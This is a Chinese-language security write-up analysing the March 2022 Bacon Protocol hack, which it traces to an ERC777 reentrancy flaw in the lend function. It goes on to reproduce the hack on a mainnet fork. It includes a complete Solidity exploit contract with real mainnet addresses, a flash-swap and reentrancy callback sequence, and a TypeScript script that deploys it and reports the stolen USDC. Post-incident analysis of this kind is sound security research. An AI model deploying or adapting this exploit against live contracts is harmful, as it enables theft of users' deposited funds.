Bacon Protocol被黑分析与复现:ERC777重入再次重演
Bacon Protocol被黑分析与复现:ERC777重入再次重演
3 月 5 日,据派盾 PeckShield 报告显示,抵押贷款协议 BaconProtocol 遭遇黑客攻击,损失约 100 万美元。
 

调研

PeckShield给出了攻击者的相关TX
notion image
还是老规矩,放到blocksec的交易分析工具里看看:
通过以下Customize account map简单标注下,看得更直观:
{
    "0x1820a4b7618bde71dce8cdc73aab6c95905fad24": "ERC1820Registry",
    "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2": "Wrapped Ether",
    "0xa2327a938febf5fec13bacfb16ae10ecbc4cbdcf": "FiatTokenV2_1",
    "0x0000000000000000000000000000000000000000": "Null Address: 0x000…000",
    "0xb8919522331c59f5c16bdfaa6a121a6e03a91f62": "Bacon Protocol: bHOME Token",
    "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48": "USDC",
    "0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc": "Uniswap V2: USDC",
    "0x7c42f2a7d9ad01294ecef9be1e38272c84607593":"Exploiter",
    "0x580cac65c2620d194371ef29eb887a7d8dcc91bf":"AttackContract"
}
抛开闪电贷借还部分,重点看关键的几个trace
notion image
如图所示,可以推测出Bacon协议的质押证明token bHOME(类似于Compound协议的cToken)实现了ERC777协议,每次转账时会调用接收者的tokensReceived函数,因此产生了重入。
攻击者前后存入了三次212W USDC,然后重入了两次lend函数,但铸造的bHOME一次比一次多,最后销毁bHOME时赎回了远大于本金的USDC,推测原因应该是在Bacon协议在转账之前有比较关键的变量没有更新,导致mint了错误数量的bHOME,具体还得看lend函数的代码进行分析。
 

分析

被攻击的合约是:
但该合约是代理合约,通过trace,找到其逻辑合约的地址是:
但是代码没有开源,只好反编译将就看了,由于反编译后的代码比较乱,这里我做了一些调整和删减,把主要逻辑贴出来
notion image
根据代码逻辑,每次用户铸造的bHOME数量与存入的USDC总额(stor104)成反比,与totalSupply成正比。
那么问题很明显,totalSupply是在回调发生之前便已增加,而stor104的增加在重入之后才进行,所以在重入过程中,totalSupply变大,而stor104保持不变,从而导致攻击者能铸造比正常业务逻辑要更多的bHOME
 

复现

我这里用hardhat+typescript(自动生成工厂类,代码提示、补全太香了,强烈推荐)进行攻击复现,fork区块14326931
然后编写利用合约(Exploit.sol):
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

interface ERC1820Registry {
    function setInterfaceImplementer(
        address _addr,
        bytes32 _interfaceHash,
        address _implementer
    ) external;
}

interface IUniswapV2Pair {
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
interface IBacon {
    function lend(uint index) external;
    function redeem(uint index) external;
    function balanceOf(address account) external view returns (uint256);
}
interface IERC20 {
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function decimals() view external returns (uint8);
}
contract Exploit {

    IUniswapV2Pair pair = IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);
    IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IBacon bacon = IBacon(0xb8919522331C59f5C16bDfAA6A121a6E03A91F62);
    uint256 count = 0;

    constructor(){
        ERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24).setInterfaceImplementer(address(this),bytes32(0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b),address(this));
    }

    function attack() public{

        pair.swap(6360000000000,0,address(this),new bytes(1));
    }

    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) public{
        usdc.approve(address(bacon),10000000000000000000);
        bacon.lend(2120000000000);
        bacon.redeem(bacon.balanceOf(address(this)));
        usdc.transfer(msg.sender,(amount0/997*1000)+10**usdc.decimals());
        usdc.transfer(tx.origin,usdc.balanceOf(address(this)));
    }

    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata data,
        bytes calldata operatorData
    ) public{
        count+=1;
        if(count<=2){
            bacon.lend(2120000000000);
        }
    }
}
攻击步骤基本都在合约里了,那利用脚本写起来就简单了(attack.ts)
import {Exploit__factory, IERC20__factory} from "../typechain";
import hre from "hardhat"

async function main() {
  const [signer] = await hre.ethers.getSigners();
  const exploit = await new Exploit__factory(signer).deploy();
  console.log("Exploit contract deployed to: ",exploit.address)
  const usdc = IERC20__factory.connect("0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48",signer);
  console.log("Attacker USDC balance:",hre.ethers.utils.formatUnits(await usdc.balanceOf(signer.address),await usdc.decimals()))
  const exploitTx = await exploit.attack();
  console.log("Exploiting... transcation: ",exploitTx.hash)
  await exploitTx.wait()
  console.log("Exploit complete.")
  console.log("Attacker USDC balance:",hre.ethers.utils.formatUnits(await usdc.balanceOf(signer.address),await usdc.decimals()))
}

main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});
基本就调用一下攻击合约,然后检查获利,运行一下看。
notion image
复现完成,窃取了Bacon协议里的95W USDC,上面算出来97W是因为没把Uniswap千3的闪电贷手续费算进去。
 
完整的PoC代码已经开源到下方链接,仅供参考:
 

参考